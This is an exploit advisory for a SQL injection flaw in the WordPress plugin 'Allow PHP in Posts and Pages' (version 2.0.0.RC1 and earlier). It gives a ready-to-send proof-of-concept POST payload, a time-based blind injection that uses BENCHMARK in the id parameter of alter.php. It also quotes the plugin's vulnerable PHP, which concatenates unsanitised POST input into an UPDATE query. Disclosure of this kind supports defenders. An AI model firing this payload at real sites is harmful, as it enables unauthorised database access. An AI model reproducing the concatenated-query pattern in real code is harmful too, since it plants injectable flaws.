# Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
# Version: 2.0.0.RC1 (tested)
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
---------------
Vulnerable code
---------------
if(!isset($_POST['allowPHPNonce'])){
if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
$action = $_POST['action'];
#delete
if($action == "delete"){
...
elseif($action == "modify" && $function != ""){
$sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
$results = $wpdb->get_results($wpdb->prepare($sql));